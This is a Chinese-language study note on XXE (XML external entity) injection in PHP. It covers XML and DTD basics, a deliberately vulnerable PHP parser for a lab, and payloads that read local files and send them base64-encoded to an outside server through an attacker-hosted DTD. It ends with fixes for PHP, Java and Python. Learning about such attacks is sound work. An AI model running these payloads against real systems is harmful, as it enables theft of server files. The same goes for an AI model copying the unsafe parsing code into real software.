PHP xml 外部实体注入漏洞学习
XML与xxe注入基础知识
1.XMl定义
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观
XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。
2.XML的作用
XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
<?xml version="1.0" encoding="UTF-8"?> <!-- ⬆XML声明⬆ --> <!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]> <!-- ⬆文档类型定义(DTD)⬆ --> <元素名称 category="属性"> 文本或其他元素 </元素名称> <!-- ⬆文档元素⬆ -->
3.xml格式说明
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
DTD的实体
DTD的作用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集)
或从外部来源:(外部子集):
注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面
为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.
如果要引用一个外部资源,可以借助各种协议 几个例子:
file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php
我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:
内部声明实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
一个内部实体声明
<!ENTITY 实体名称 "实体的值"> 例子 DTD: <!ENTITY writer "me"> XML: <author>&writer;</author> 注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
引用外部实体
一个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI"> 例子 DTD: <!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd"> XML: <author>&writer;</author>
外部实体类型有
本地实验
由于Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用
所以这里我用的是phpstudy对应php5.45的环境,libxml版本为2.7.8
php7.2环境中,libxml版本过高,2.9.5
有回显
外部实体
漏洞源码:
<?php #show_source(__FILE__); error_reporting(0); $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); print_r($xml); echo $xml->name; ?>
payload:
1 <?xml version="1.0" encoding="utf-8"?> 2 <!DOCTYPE ANY [ 3 <!ELEMENT name ANY > 4 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/test.txt" >]> 5 <root> 6 <name>&xxe;</name> 7 </root>
参数实体
payload:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://ip/vil.dtd" > %xxe;]> <foo>&evil;</foo>
vil.dtd
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini">
无回显
漏洞源码
<?php error_reporting(0); $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); ?>
payload:
<!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test.txt"> <!ENTITY % dtd SYSTEM "http://ip/vil.dtd"> %dtd; %send; ]>
vil.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/?data=%file;'>" > %all;
或者
payload:
<!DOCTYPE root[ <!ENTITY % dtd SYSTEM "http://ip/vil.dtd"> %dtd;]> <root> <root/>
vil.dtd
<!ENTITY % file SYSTEM "php://filter/read=/convert.base64-encode/resource=./vil.dtd"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/?file=%file;'>"> %all; %send;
注意内部的&都需要实体编码成%或者% 这两个都可以,一个是ascii的16进制表示,一个是ascii的10进制表示。
如果要防止php中的xxe漏洞,可以在simplexml_load_string前加上一句
libxml_disable_entity_loader(true);禁止从外部加载XML实体
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
参考文章:
https://www.cnblogs.com/backlion/p/9302528.html
https://www.freebuf.com/column/156863.html